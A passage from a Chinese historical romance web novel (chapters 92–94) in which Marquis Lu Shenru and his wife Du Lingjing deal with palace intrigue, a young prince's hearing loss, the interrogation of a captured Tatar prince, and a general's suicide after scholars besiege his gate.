“最开始的时候,雍王还在娘娘身前,我们也曾想过,雍王毕竟是娘娘养大的,若皇后不死,娘娘不能上位,永定军不是不能拥雍王继位,只要他肯认娘娘为母,又不被那些投降文臣全全把控,文武之争再延续下去就是,又不是非要分出胜负。” 陆慎如说到这,深深叹了一气。 “可就在关键之时,出了桩事。” 他说慧王逢祯自出生就身子不好,许是与皇上登基前重病伤了身子有关,这病体传到了他身上。 那年他突然连日高烧不退,太医开了药来,不想贵妃娘娘某日在给他喂药的时候,突然发觉药的味道有差。 陆慎如说娘娘照看孩子仔细,都是亲自试药喂药,“那日忽觉药味有差,就去了寻了太医问,是否调了方子,但太医说并没有,娘娘让太医亲自试了药,太医试过便道,这药另添了其他药汁在其中。” 此言一出,陆怀如大惊,封宫调查是谁人在小殿下汤药里动了手脚。 但结果却是,“除了那几个一直在为逢祯煎药的宫人外,只有一人还曾来过,就是逢祺。” 杜泠静手里捧着的茶碗,轻轻颤了颤。 她听见侯爷道:“娘娘不信是他所为,甚至怀疑刚刚丧子的王皇后,都没怀疑过他。” 但此时不是小事,皇上刚刚失去了太子,悲痛万分,再不容许其他皇子折损,下令彻查,“谁料这一查,竟然在雍王皇子所的住处中,发现了巫术的用具。” 巫术出现在宫中可是大忌,难怪杜泠静从前不曾听说此事的一星半点。 不过发现的并不是掺入汤药里的其他药汁,而是巫术用具。 陆慎如道,“但这巫术却直指逢祯,然而到了这等时候,娘娘还是不信是逢祺所为,逢祺也不承认。” 可邵家的人却跳了出来。 原本邵妃死的早,邵家人也没指望这个外甥能做皇帝,眼下太子一薨,情形完全不一样了。 “邵家的人说这巫术来历不明,但却是关外鞑靼人的巫术。他们说逢祺怎么会知道鞑靼人的巫术,晓得鞑靼人巫术的,只会是久居西北的陆氏一族。” 杜泠静见侯爷说到此处,哼笑了起来。 “他们竟说,是娘娘给自己的儿子下药,然而诬陷到雍王这个养子身上。娘娘把雍王除掉,而承王出身低微,又素来被皇上不喜,那么新太子必然是娘娘自己的儿子。” 房中有些静谧。 “皇上刚刚没了太子,这一桩事又将两个紧要的儿子都扯了进来,龙心震怒,下令彻查。但巫术用具出自何处,又是谁人往逢祯药中下药,怎么都查不到。可邵氏却急了,说什么都要把雍王单立出来,再不能放到贵妃身侧。” 他说自己的姐姐,无论如何都不相信,是自己亲手养大的孩子所为。她还不舍得就这么不明不白地让他走。 “可邵氏只会攻讦她包藏祸心,用心歹毒!” 杜泠静见侯爷说到此处,脸色都变了一变。 “他们邵氏不想想,没有娘娘,他家的外甥雍王逢祺,能活到今天吗?我永定侯府再有私心,也不至于行此卑劣手段嫁祸于他!” 杜泠静要给他倒杯茶来饮下去,让他不要动怒。 但男人却把她手中的茶碗取来,将她杯中残茶一口饮尽了。 他说此事之后,邵家的人和那些文臣一股脑地涌到了雍王身侧,“娘娘想要再见他一面都见不到了。后来的事,娘子也知道,就是如今的局面。” 杜泠静默默思量了几息。 “那侯爷认为,确实是雍王所为吗?” 男人说不知道,“但就算不是他所谓,那些投降文臣见不得陆氏独大,早晚要将他拉拢过去。至于他本人,娘娘待他视如己出,可他外家到底姓邵不姓陆,天家无亲,何况本就无血脉牵连。” 他道娘娘就此重重伤了心,“以至如今仍旧伤神,平日就算不说,也总会想起。那到底是她尽心养大的第一个孩子。” “不过那桩事最是受了伤的,还不是娘娘。” 杜泠静抬眸瞧去,听见他道,“是逢祯。他本就连日高烧,出了此事之后,母亲与兄长分道,他病情越发不好,待后来养好之后,耳力已受损伤。” 杜泠静心头闷闷地透不过气来。 陆侯说此事出了扈廷澜之外,外人并不知道,“祯儿伤了耳力,娘娘与我想尽办法,也没能给他治好,反而还有渐渐失聪之势。只是此事再不能被外人知晓。” 若是慧王一旦失聪,被外人尽知,他多年耗费心力筹谋的一切,都将即刻化为飞灰。 留给他的时间,可能不多了。 杜泠静默默握住了他的手,他亦回力紧握了她。 两人皆是沉默,唯有细风吹在窗棂发出吱呀声。 可崇平突然前来。 “侯爷,夫人,娘娘传了急信,道是慧王殿下起了高烧,一时烧到耳力丧失,听不见人说话了!” 话音砰然砸下的瞬间,杜泠静倒吸一气,看到男人英眉紧压着,深深闭起了双眸。、 下一息,他骤然起身。 “去把从各地寻来的治耳的郎中,想办法送进宫里!” 崇平道是,但这很难,一旦被皇上发现就坏了。 杜泠静却突然想到一人。 “侯爷何不请太医前去?!” “太医不成,那些专攻妇儿的太医,皆时常在皇上面前效忠,此事就不可能再瞒得过皇上。” 但杜泠静却道,“并非他们,我说的王太医!” 老王太医在太医院只能为贵人瞧瞧外伤,皇上甚少用他。 杜泠静道,“王太医也修过妇儿医理,何不让他以为慧王殿下落水看伤为名,正正经经地进宫去给殿下看诊?!” 她此言一出,陆侯英眸一亮。 第93章 他夜间睡不下, 辗转反侧,终是起身去了外面。 杜泠静隐约听见了些,但实在太过疲累, 一觉睡到天亮。秋霖问她要不要吃点什么。 她胃口不好,摆手说算了, 叫了崇安来问。 “慧王殿下怎么样了?” 崇安没听到信, 跟她摇摇头。 一夜已经过去,若是还不见好转,只怕就凶多吉少了。届时又该怎么办,要瞒又能瞒多久? 杜泠静想着这些更吃不下东西了, 独自坐在圈椅上,愁然地翻书。 静谧的正院房中, 只有风吹芭蕉摆动的声音传来。 就这时,突然有熟悉的男人的脚步声,铛铛踏入了她的耳中。 杜泠静立时放下书站了起来,要往外迎去, 男人撩开门帘大步走了近来。 还没等杜泠静看清他的神色, 他一把将她拥进了怀里。 他力道大到近乎将她压进他的胸膛之中, 杜泠静听见他惯来的哑声低颤。 “王太医……把逢祯的耳力救回来了!” 杜泠静仿佛被闷在水下太久,几乎无法呼吸, 但这一刻,她猛然被这个消息拉出了水面。 她大口地喘着气。 男人见她如此, 先是一愣,接着又笑出了声来。 “娘子怎么比我还紧张?” 他又问, “娘子也在意?” 杜泠静反问他,“怎能不紧张?如何不在意?” 这时他突然问了个奇怪的问题,盯着她的眼睛。 “泉泉在意什么?” “……”杜泠静一滞, “自是在意慧王小殿下呀。” 这回换到男人几不可查地停顿了一下,“哦,也是。” 杜泠静突然品出了味来。 他不会想让她回答,她更在意他吧? 怎么还会有人跟生了病的小外甥比?她瞪了眼睛看着这人。 男人似乎也觉得有点惭愧,又笑了两声以作遮掩,但喜色更从他眼角眉梢飞腾起来。 不知是不是听闻了喜讯的缘故,杜泠静倒是突然有了胃口,问他要不要吃饭。 他应下,这就让人摆了饭。 两人边吃早饭,边轻声说起此事。 杜泠静问,“王太医说具体如何?” 陆慎如道,昨晚的情形有些凶险,连最是紧着嘴巴畅快的老王太医都不说话了,一晚上光擦汗就湿透了七条帕子,又给逢祯扎了不知道多少针,让贵妃在逢祯耳边一直说话不要停。 “娘娘空说了一夜的话,待天亮嗓子都哑了,幸而逢祯醒了过来,恢复了耳力,与娘娘对答如流。” 杜泠静大松一口气,又问,“王太医怎么嘱咐?” 陆慎如道逢祯的耳力只是保住了,至于以后,“王太医说他会回去仔细琢磨,但需要费些功夫。” 陆慎如说到这,脸色有点怪,“娘子猜他跟娘娘怎么说?” “如何说?” “他说,只要我能消停,不没事跑马折腾、滋生事端,他便可以把时日都用在翻找医书上。” 男人再没听过有人,用那形容不着边际的毛头小子的话,形容他。 他脸色怪得不行。 杜泠静却笑出了声来。 “以我之见,王太医说得不错。” 他先中了箭伤也就罢了,后却不管不顾地拉弓射箭,血肉崩裂,奔马回京,自家伤势坏了不说,她更是因胎儿不稳昏倒,这前后哪一桩,不是王太医费的心? 她道,“侯爷就听着吧,别忘了重重有赏。” 男人也笑了,无奈地摇头。 “他说我,我得听着,我还得对他重重有赏。罢了,他若真能治好了逢祯的耳朵,我重重赏他全家。” 杜泠静:“……” 这话怎么听起来这么怪。 她抿唇笑起来。 两人这一顿饭多吃了半刻钟,杜泠静胃口终于有所恢复。 魏琮则让人来传了信,道是那鞑靼九王,何副将押到京城了。 陆慎如立时出了京去。 他见到何副将的时候,险些没认出来。 “竟消瘦如此?” 何副将人瘦了三圈,但精神尚好。 “侯爷,世子,此番末将押人上京,几次三番遇到阻挠,这才费了些时日,迂回了许久。” 只要人无事,这都不算什么。 魏琮道,“你一路上可也问了?” 何副将自是问了,“但末将观那鞑靼九王,恐只知其一,未必知其二。” 陆慎如心里有数了,在山房别院的地牢里见到了人。 他穿过弯弯绕绕阴暗的地道,幽暗的火光照在地牢深处。 那被吊起来的鞑靼九王一眼看到了他,就嗓音古怪地笑了一声。 “永定侯……” 只是话音未落,男人抽出了长鞭。 他多余的一句也没有,长鞭自他手中扬起,破空乍响,下一息啪地重重摔在了那鞑靼人身上。 一鞭,两鞭,三鞭。 那人通身血肉乱飞,几乎昏死过去。 陆慎如恨声开口。 “替我英年早逝的父亲,替被割了头颅的魏将军,替千千万万在那一战中牺牲的、丧生的所有人……” 他当先赏了他三鞭。 鞑靼九王还未昏死,但痛意令他近乎发疯。 “陆慎如,你就是打死我,也不可能知道当年给我秘密传信的人是谁!” 他道,“那是我失落的部族遗留的血脉,是藏在你们汉人朝堂中地位极高的贵人,他藏得深极了,他根本不会让你们知道!” 他仰头大笑了起来,“汉人的朝堂里,藏着我鞑靼人的血脉,好好好……” 男人看去那癫狂大笑的鞑靼九王。 “你放心,他就是藏得再深,我陆慎如也必会知道!” 他吩咐了一声,“把他带下去关起来,就关在那汉人细作隔壁,每日九鞭伺候,让他把知道的全吐出来。” 鞑靼九王被押了下去。 补足的鞭子令他惨叫。一墙之隔的另一边,有人默然养了半个春夏的花全都开了。 “隔壁是什么人?”他问了一句,没指望回答。 但守卫告诉他,“侯爷捉了害永定军惨败的鞑靼九王,就关在隔壁。” 花儿娇嫩鲜艳,无声地开着,但隔墙的惨叫却一浪一浪地涌入院中。 那汉人细作顿住,握着花壶的手抖了又抖。 * 陆慎如回了侯府,将沾了鞑靼九王鲜血的鞭子,奉在祠堂立如密林的牌位前。一同放置在旁的,还有那枚与细作留下的纹样一致的骨雕圆牌。 那秘藏在朝廷里的留着鞑靼血脉的人到底是谁,他一定会找到。 他三叩首在层层牌位之下,而后才退出了祠堂。 夜已深了,他回来时听闻夫人已经休歇,便没往正院去。 但此刻陆慎如出了祠堂,却见流转如水的月色之下,有人挑灯静静地立在月影里。 他歪着头跟他轻轻挑了挑眉。 “怎么不睡觉?” 杜泠静摇摇头,她不困。 但男人身上还沾染着些微的血腥气,她抽了抽鼻子。 他当即意识到了,祠堂离着外院远岫阁有条近路。 “你既不睡,要不要跟我到远岫阁换衣裳?” 她点头,柔声。 “好。” 男人心下一软,两人拉开半步在月影下走着,不时到了外院,他将衣裳全全换了,同她在夜风轻抚的庭院里坐着说话。 他道细作就是朝堂里的要人。 此人能潜匿这么多年而不被发现,可见身份非同一般,如今朝中虽有些混乱,但仍旧算得四海皆平。 男人在月色下转了转手中茶杯,杯中嫩茶芽飞旋起来。 “偶有天灾,却无大的兵祸,也是百姓之幸了。”他道,“不知此人是已经得偿所愿,偃旗息鼓,安详这世间的安泰,还是筹谋未消,乱心不灭,还欲再祸乱天下?” 杜泠静一默。 此人如何作想没人知道,但他身上流着鞑靼的血脉,手中掌控着细作,有与鞑靼人联络未消。 他只要还在朝堂之中身居高位,真正的安稳就不可能长存。 她看向身侧的侯爷,男人又将茶碗转了一转,茶色深了不少。 他想到什么低笑了一声。 “人皆道我陆慎如是乱臣贼子,防我甚于防川,其实最害怕的还不是他们,是我陆氏的先祖们。” 他说陆氏先祖最害怕这一天,“害怕哪一日,永定侯爵位传到一人身上,此人不再是保家卫国的忠臣良将,而是一毁祖宗基业的祸国贼子。” 他问杜泠静,“泉泉可知我的名从何而来?” 杜泠静不知道,“但我却觉侯爷这名字,与性子并不怎么相合。” 她开口说去,男人就笑了起来。 “那泉泉以为,我该取什么名字?” 慎,是肯定不行。 怀如和恒如,于娘娘和二爷都很合宜。 杜泠静一时也想不到什么好名字,脑袋里却突然蹦出一个字来。 “惯。”她道。 “惯?”男人听了就意外地挑眉,“这怎么说?” 杜泠静抿唇笑看了他一眼。 “侯爷的性子,想要什么就非得要,偏想要的还真就能要得到,怕不是被‘惯’大的吧?” 陆惯如。 话音没落,男人大笑出声。 睡在檐上的一排雀儿被他笑声惊飞了起来,崇安连忙跑过来查看,一副打盹没醒的样子,上前才发现是侯爷在笑。 杜泠静摆手让他走了,男人笑了好一阵才停下。 “娘子何时沾了那看病王老头子的习气?”他无奈地一直摇头。 杜泠静笑而不答,只问他,“此名到底为何取给了侯爷?” 陆慎如笑着微默,他说名字是祖父给他取的。 “但却不是独独取给我一个人。”他道,“是为警醒整个陆氏而取此名。” 慎如,慎终如始,终始如一。 “祖父说,永定侯府是为抵御外贼、保全家国百姓而存,得君民信重、手握重兵,决不能调转枪头,起兵祸,搅碎百姓得之不易的安宁。” 所以要慎,慎终如始。 杜泠静没了玩笑的心,端起茶盅轻轻饮了口茶。 她听见侯爷道,“所以永定侯府,从不染指西北以外的军中势力。” 他说自己本不该兼顾北关,“不过这是皇上的意思,但辽东的兵,西南的沐府,尤其是世代镇守的东南靖安侯府周氏的人马,陆氏都绝不会动。” 他道贵妃娘娘命途多舛,“我娘与靖安侯府世子夫人原是手帕交,周家的长孙恰比娘娘长一岁,我娘便相与周家结亲,让娘娘嫁到周家,周家人性子多平和,必会待她周全。” 但此事提出,却没能得到两家的立时肯定。 “祖父和靖安侯老侯爷,都担心陆周两家手握重兵,各占西北东南,若再联姻嫡系长孙,只怕会令宫中不安,也令朝堂其他文武百官生了旁的心思。” 两家皆犹豫,“但没等思量好此事,娘娘就被批了凤命。凤命一出,周家更不能娶,此事再没提过。” 陆慎如抬了抬头,举目银河流淌,星光璀然。 他说永定侯府和靖安侯府平日守望相助,“可为的都是百姓家国,若一旦陆家有人起兵造反,祸乱百姓,第一个起兵来剿的,必是周家。反之亦然。” 杜泠静没想到陆氏与周氏的关系,处置的如此亲近又微妙。 她轻叹一声,“寻常百姓这一生,若从呱呱坠地,到寿尽入土,都能活在战火之外,那是难得的福气,兴兵起祸之人,是在拿千千万万寻常百姓的这点福气,促成自己的私欲。” 陆慎如点头,微笑着看了妻子一眼,“是。” 他将手中转来转去的茶盅,终于捏起来,喝了一口。 “眼下四海安泰,多么难得,如果潜藏在朝中那人,非要走到祸乱的地步,用阴私手段扰乱朝纲。” 他一顿,而后冷了声。 “若到那一步,我不得不起兵,即便是乱臣贼子,我陆慎如也当了。” “即便是被天下群起攻之,不得好死,我也只能走这一条狭路。” 庭院寂静,方才被惊飞的鸟儿,早就扑棱着翅膀,不知飞向何处。 杜泠静一时竟不知如何言语,只有眼角湿润起来。 她低着头,男人看到了她眼角那颗清泪。 “怎么哭了?” 他将她的凳子拉过来,将她团在了怀中。 他反复摩挲着她的肩头。 “你夫君只是假设罢了,未必就到了那地步。” 杜泠静却莫名地,想到他还曾想去江南。眼下的乱局,已经令他无暇去他的江南,若真到了他所言的地步,江南连他梦中都不再存在。 她有种难以言说的悲感。 清泪滑落眼下,男人生着薄茧的指尖替她摸去。 “泉泉别哭,我只是随便说说。” 他道,“岳父中意我,”比她可中意多了,“我一定护好你,还有我们的孩儿。” 杜泠静不言,只看他。男人瞧向她泛了红的眼睛。 莫名地,他竟有些悦然。 她虽还不如岳父中意他,但也会为他流泪。 哪怕永远都不如蒋竹修,哪怕就这一滴清泪…… * 杜泠静晚间就歇在了他的远岫阁,翌日醒过来的时候,见他已令人将早饭备好了。 杜泠静胃口好似明显好转,闻着饭香颇为意动。 她穿起了衣裳,他则突然看着她的小腹,问了她一个问题。 “泉泉,是不是要给我生个女儿?” 他还在一门心思惦记女儿。 杜泠静若是知道男女,也可以去当太医了。 她说不知道,想起他那时非要与她欢好,明明她还在跟他生气,他却非要拉着她反反复复,让她给他生个女儿。 她瞥了这个执意要女儿的人一眼,“那若是个男孩呢?” 他笑了一声,“小子亦好,永定军中那些人,见他们巴巴盼着的世子到了,也就不来滋扰你我了。” 杜泠静懒得与他分说这不得而知的事,难得胃口恢复,洗漱就坐到了庭院中的饭桌前。 崇平亲自给她盛了汤,她不想麻烦崇平,刚要说什么,崇安突然来报。 “廖先生来了,想见侯爷夫人。” 廖先生还没去上任,竟这时到了,杜泠静连忙道,“那请廖先生过来一道用饭。” 陆慎如也叫人去添碗筷,笑道,“廖先生来的正是时候。” 谁想廖先生见了二人,面色略有些古怪。 “先生有何话,边吃边说。”陆慎如邀他。 但廖先生摆手说吃过了,他看了两人一眼。 “杜阁老身边那失踪的幕僚楚牧,我找到了。” 杜泠静立时放下了筷子,陆慎如更道,“这是好事,此人在何处?” 廖先生道楚牧精神不是太好,亦轻易不敢见人,“只同我见了一面。” 他说着又看向两人,“他亦想见静娘,可见是有要事同静娘说,但……他只想见静娘一人,想要静娘独自前往。” 杜泠静微怔。 “为何?” “他没说。” 杜泠静不禁看向身侧的男人。 但陆侯却不奇怪。 “我身份在此,楚幕僚有所顾忌也是寻常,”所以他这几年,迟迟寻不到此人下落,他看向杜泠静,“我只担心你的安危,旁的倒无所谓。” 他真的是无所谓的态度。 杜泠静便问廖先生何时。 廖栩说不急,“我看他状况不好,精神颇为混乱,先让他在我那处休养几日,安稳了你再前来。” “如此也好。” …… 万寿节一过,暑热难耐,皇上便要启程出京避暑。 这次没带贵妃,慧王也病着,皇上点了雍王与承王两个儿子侍奉,皇后一贯难以出宫,自然也不能去,不过皇上点了窦阁老和一众文臣一同前往。 京里还是留着内阁其他人,除此之外,自是永定侯陆慎如坐镇京师。 眼下皇上还没走,杜泠静就见他已经忙起来了。 谁料就在这时,西安传来急信。 道是一群自京中落榜回乡的举子,听闻被流放的荣昌伯府那两个小爷,偷偷被家人保了下来,欲不让二人服刑,接去老家安顿。 众举子先在京里听闻了荣昌伯长女杨大小姐的丑事,又回乡听闻了这件事,群情激愤,引着半个西安的书生,堵到了荣昌伯的门口,问他荣昌伯是不是仗着战功,就可以为所欲为,问他眼中还有没有王法。 “伯爷本就因家事不顺气倒卧病,此番被书生堵门,听着那些人声声怒骂,伯爷他……挥剑自刎了。” 杜泠静听闻心下猛跳。 而此事一出,京中哗然,文武两道相互攻讦之奏章,如秋叶般齐齐飞往宫里。 第94章 举子围在门前怒骂, 荣昌伯挥剑自刎。 消息传到京中,引起轩然大波。 陆慎如接到消息的当天,脸色便极其难看。 西北传来的信, 眼下不光荣昌伯挥剑自尽,军中损失大将一员。这些书生所为更是全线引爆了军中兵将的怒火。 那日围在荣昌伯宅邸前的书生, 全都被兵将捉了起来, 众将士要处死这些书生仕子为伯爷陪葬,以泄群恨。 西北的将士要杀几个闹事书生泄愤容易,但读书人的嘴皮笔杆最不饶人,一旦引发整个士林的怒火, 又或者引得西北戍关的兵将起了兵变,可就不是能随随便便压下的小事了。 陆慎如知道事情发展下去, 会有多严重。 但他能做的,只有先压住西北兵将的怒火。 不管杨家人如何,荣昌伯这一辈子都为国为民奋战在戍关前线,多少次在生死间徘徊, 以他的功绩, 如今又自刎而死, 合该朝廷下令封赏厚葬。 荣昌伯得了封赏厚葬,哪怕不能尽数灭了兵将们心里的恨怒, 也能消减三分,不要事态再发展下去。 但只他一方尽力没用, 杜泠静提了一句。 “若窦阁老也能不偏不倚、公正对待,或许此事能尽快消停下来。” 陆慎如却摇头, “文人更是盘根错节,相互包庇,他们怎么肯为泄兵将之愤, 将那些举子肃正处置?” 翌日朝堂,只有微弱的文臣声音表示,杨家人如何犯法,应该交由衙门办理,无辜围到有战功的将军面前辱骂,有辱读书人清正之风,合该处置那日的举子。 可惜声音太过微弱,被其他文臣压了下去,窦阁老并无表态。 而上首的皇上一味地叹气,反复说着,“怎么会出这样的事?伯爷战功赫赫,乃是肱股之臣。” 又说,“杨家人也委实不知天高地厚,视王法如儿戏,你也难怪惹得书生愤然。” 如此吵了两日,也没吵出个所以然来。 皇上迟迟无决断,直到离京避暑的日子到了眼前,皇上才匆促抬手一挥。 “厚葬荣昌伯。” 他倒是应了陆慎如的提法,封赏厚葬了荣昌伯爷,但军中之火并未平息,而书生们见皇上并未斥责那些举子,反而越发觉得举子无过,反复要求西北军中放人。 但就这么放了人,兵将的怒火又谁来承担,陆慎如没有下令放人,书生连同朝中一部分文臣,吵闹不休。 皇上却再不理会,到了离宫的日子,就往京畿东面的清凉避暑行宫而去。 “皇上就这么走了?”杜泠静讶然,事情被搁置在了暑热蒸人的夏天,如同破损的伤口没上药就仍在一旁不再理会。 陆慎如倒是见怪不怪,可烦扰也令他没了用饭的心情,匆促吃了两口就搁置了筷子。 “皇上一贯如此。若早有个决断,也不至于酿成今日局面。” 他道当初邵伯举和杨家两位小爷一同事发。 “当时的事娘子也知道,杨家人委实嚣张,杨金瑜对你不敬之后,我彻底失望,不欲再管他家之事,想着王子犯法与庶民同罪,我自扶持杨家庶子在军中立足也是一样,至于那两个杀人灭口的小子,既然敢杀人就该偿命。” 可是那两位杨家小爷最后却没判死刑,只判了个流放。 杜泠静想起彼时消息传出来,杨家人大喜,京中街巷皆传言,是侯爷从中斡旋,替杨家保住两位嫡子。 杜泠静眼下问去,“那他二人为何侥幸逃出一命?” 陆慎如叹气,“是皇上又发了慈心。许是记着荣昌伯的功绩或者怎样,这才引出后面的事端。若是依我,那二人早不能留。” 眼下那两个无用的纨绔小子留了下来,战功赫赫的大将父亲却替罪而死。 陆侯揉了额头。 杜泠静思量着前后之事,沉默了一阵。 男人开口,“皇上总是这般,比先帝还优柔寡断,至今文武无有定论,储位无法决断。” 他说到此处微微顿了顿,“但这何尝不是一种制衡?” 不管是定了雍王还是慧王做太子,朝野上下早就乱了。 而以当今皇上之能,他显然平息不了混乱的局面。 男人极轻地叹了口气。 “皇上的心思,有时一看就穿,有时却怎么都琢磨不透。” 但弘启十四年,议和之事令永定军陷入绝境,若是没有彼时监国的皇上,永定军只怕就覆灭在了那时,不会再有永定侯府如今的际遇。 …… 皇上携雍王承王与窦阁老等人,离京避暑之地,距离京城并不远,快马加鞭一日可打个来回。 不过荣昌伯的事没有落定,兵将与书生之前的矛盾,如同一团被压着火,暑热燎着大地,不知何时就会将火再度引起。 陆慎如不敢轻视,又身负守京监国之职,有时连府邸都无暇返回。 杜泠静连着两日都没见到人了。 不知是不是天气太热的缘故,火辣辣的日头升起来,她本来有所缓解的反胃之感,又冒了出来。 太医不敢随意给夫人和胎儿用药,这种时候女子只能忍着。 杜泠静让阮恭把父亲书房里留下来的旧纸页,一并取了来,加上之前三郎留下的两箱,一共三大箱子。 她把心思放在这些故纸堆上,反而能分散些难耐之感。 父亲生前给三郎留过她不知道的话,就如他那一走,很可能就此回不来。而三郎则在父亲走后,一边将父亲身亡可疑之事告诉侯爷,一边又联络各地友人,收集这两大箱子不止的消息。 杜泠静觉得父亲和三郎,或许都知道什么,是她不知道的。 她翻着这些旧纸页,一张一张地整理着。 父亲留下的多还正常,但三郎总有些点化之处,令人琢磨不透。 杜泠静见这一页的旧纸页上,又被他点画了几笔。上面先记了先帝晚年,太子过世之后的储位争端。 比起如今雍王和慧王,当年之争更为惨烈。 太子是嫡是长,他过世之后,皇后无有嫡子,便该先皇的次子继位。 但先皇的次子正是蒋太妃娘娘的亲子,年嘉未曾见过面的父亲裕王。他英年早逝,无法继位。 在他之下,三皇子与四皇子,乃是同年所生的两位皇子,三皇子虽然占长,但名声不好,可四皇子在文武百官之中,却得了贤名。 先帝优柔寡断,在这两位儿子之间无法决断。三王四王二位渐渐斗得不可开交。 弘启十四年,永定军出事那年,皇上让儿子替自己归乡祭祖,他在三王四王之间无法决断,干脆让两人都去,又怕两人半路闹起来,便拍了五皇子一同前往。 就是那年,永定军被细作所害,陷与关外,鞑靼要求议和,先皇病倒,群臣只能六皇子,也就是当今皇上殷王监国。 贵妃陆怀如于他为妾,他亦守约挽救永定军于彻底溃败的边缘。 但就在当年,三王与四王于离京祭祖途中,相互构陷迫害,四王途中落江溺亡,三王则显露暴戾一面,竟有意向五皇子动手。先皇伤心欲绝,却也下了决心,囚困三王于封地,再不得返京。三皇子恼怒之下,起兵欲反,但被镇压,亦彻底失去入主东宫的可能。 他于次年初,死于封地。 这次先皇再不敢犹豫,当机立断地就立了五皇子为太子。 与此同时拔擢杜阁老入阁,辅助五皇子日后登基。 可谁也没想到,就在朝局终于稳定下来的时候,五皇子突发暴毙。 先皇备受重创,摇摇欲坠,没再另立东宫之主,便悲伤薨逝。 如此,从不被人看好的六皇子殷王,于弘启十六年登基为帝。 他母族出自忠庆伯府魏氏一脉,虽不是魏氏嫡枝宗房,但也算出身正统。为人贤名不显,却也没什么恶名,这么多年,在先帝诸子无甚存在。 但他亦是优柔无断的君王,仁慈有余而手段不足。且他在先帝末年也生了场重病,自那之后就身体不济。 杜泠静见这些先帝在世之事,三郎捋着时间记了下来。这些事情并非皇家密事,杜泠静也是晓得的,她不知三郎为何特有此一记。 但她再往下看去,却看到这张纸下面,三郎另提了一人。 他提了皇上的生母,出身忠庆伯府魏氏一脉的,魏玦的姑母魏妃。 这位魏妃在皇上幼年就过世了,那时先帝尚未继位,还是皇子。所以她的事,并没有太多人知道。 可三郎却提到了魏妃,似乎打听到了她生前之事,有意往下记录,还在此特意点了一笔。 杜泠静有意往下看去,但纸页已被记满,再往下翻去,她一时没能找到哪一张旧纸,接着这处继续落笔。 她心下不免好奇,三郎怎么连这个都打听,似乎还打听到了。 不过转念一想。 魏妃是先皇尚在潜邸就跟了他的旧人,同蒋太妃娘娘一样,早早地就嫁了先帝。旁人或许不易探听她的事,可蒋家却不同。 蒋氏彼时还有裕王,自然会为裕王多加留意身侧诸事。蒋氏必然知道些许不为人知的旧事。 杜泠静好奇,又往故纸堆里翻去,可惜翻了半天也没翻到衔续的纸页。 她一时没找到,叹了口气,但她目光往门窗外看去。 却忽的发现,窗外正默然立着那个两日不曾回家的男人。 杜泠静不知他何时回来了,更不知他在窗外站了多久。 她连忙转身看向他,见他疲惫的墨眸中,透着几分暗淡的落落之色。 他低声道了一句,“我并无意打扰娘子。” 这句话说得杜泠静心下一紧。 打扰她什么? 打扰她在翻看三郎的旧笔记么? 她一时不知怎么跟他解释,他却轻声问了一句。 “我这几日委实太忙,今日抽了点空闲,回家陪娘子吃顿饭。娘子可得空?” 杜泠静愣了愣,原来他是专程抽空回来,陪她吃饭的。 可回到家,却见到她一直在西厢房,翻看三郎的旧纸页,他不出声,就在外面等。 杜泠静有一瞬间,觉得他还不如似之前那般,跟她生气,她心里还顺一点…… 她说得空,又立时跟他解释,“我只是看到纸页上记着皇上的生母魏妃娘娘的事,又没有下文,一时好奇而已。” “魏妃……”他一顿,又道,“娘子若好奇,可以去问保国夫人。” 保国夫人正是先帝魏妃的弟媳,魏妃生前的事她确实了解得比旁人多。 而保国夫人自那次魏玦和年嘉险些出事之后,对杜泠静态度彻底转了弯。 毕竟那时,若非是这位侄儿媳妇,以她的六神无主,丑事只怕要被人传出去了。 她待杜泠静态度转弯,前几日听闻她有了身孕,还让人送了好些新鲜的瓜果过来。 但杜泠静与这位姑母夫人实在算不上熟络,没得专门去问她此事,若有机会,她倒是可以去问问蒋太妃娘娘。 她“嗯”了一声,就当是记下了。 但男人却看出了她的“敷衍”,所以她方才一直沉浸身心翻看的,并非魏妃的事是不是?还是在找蒋竹修的死因吧? 可他说过不介意,便不会再因此事与她不快。 这会问她这两日吃了什么,听闻她吃得甚少,“可是孩儿闹腾了你?” 他握了她的手,“早知这孩子让你如此难受……” 杜泠静笑起来,“那还能换个孩子?” 男人亦被她说笑了。廊下吹来一阵清凉的风。 陆慎如将他娘子抱在了怀里。 他的怀抱有种莫名的安实感,伴着独属于他的熟悉气息,杜泠静只觉胃中的不适都消减了下来。 他肩臂宽阔有力,胸膛坚实厚重,他把她抱在怀里,再没什么比这一刻更安心。 杜泠静刚要回身抱他,却听见他低声到了一句。 “我得走了,娘子有什么事给我传信,只是……” 他停顿,杜泠静心想他要说什么,还犹豫,抬头向他眼眸看去。 他似乎本不想说,却还是忍不住道。 “娘子眼睛不好,身子近来也多有不适,若是可以,少翻看那些旧纸。” 他说完就要起身走了。 杜泠静就知道他心里还是在意,只是嘴上不肯轻易出口而已。 她今日后悔,过了那么久才发现他在窗外立着等她,此刻再不犹豫,回身抱了他。 “我知道了,一定少看。” 她说得斩钉截铁,陆慎如就当她说的是真的。 他笑了一声,低头吻在她额头,“嗯。” 但他再无暇停留,他将她止步在内院休歇,杜泠静只能看着他独自走在烈阳之下,阔步离开他们的府邸,往那高耸挺立的皇城中走去。 …… 杜泠静听了他的话,没再沉溺于故纸,也是近来天越发热,西厢房下晌令人坐不住了。 她只上晌去翻看了两眼。 谁知她今日这一番,没翻到三郎记录的魏妃旧事,反而发现了一张碎纸片。 此处再无点画,而是三郎的字迹,落笔清晰地写着一行字。杜泠静一眼看过去,心中惊跳了一下—— 世道将乱,病体残躯何以抵挡?拖累而已…… 她目光默然盯着那行字,字迹带着三郎病中的抖动,落笔到后,尽是哀叹却无力。 她愣在了碎纸片前。 这时,廖先生给她传了信来,道父亲的幕僚楚先生清醒了许多,想尽快见到她,却又不肯进京。 廖先生说自己在京外找了个小院子安置他,问杜泠静何时得空,与他一道往京外去。 杜泠静今日并无其他事,直接让人去问廖先生今日可否。 不时得了肯定的答复,她这便换了衣裳去了。 但临行前,又把三郎这行字看了一遍。 楚先生只欲见她一人,可见要与她说的有关父亲死前的事,与侯爷身份有碍。 杜泠静只能让侯府侍卫不必近随,此事陆侯亦晓得,提前吩咐侍卫远远跟着即可。 杜泠静接上廖先生,一路往京外而去。 另一边,京外陆氏山房别院中,有人给花浇了最后一遍水,放下水瓢,走向了守门的侍卫。 是那汉人细作。 “在下有话,想到侯爷面前禀明。” 话音落地,守门的侍卫便亮了眼睛,一边安排他略作等待,一边快马加鞭往京中报信。 京城,宫中。 陆慎如刚料理完手边的事,便见有人快马加鞭而来。 来人通身是汗,一路急奔到陆慎如面前,陆慎如一眼看去,便高高挑眉。 “何事。”他冷声。 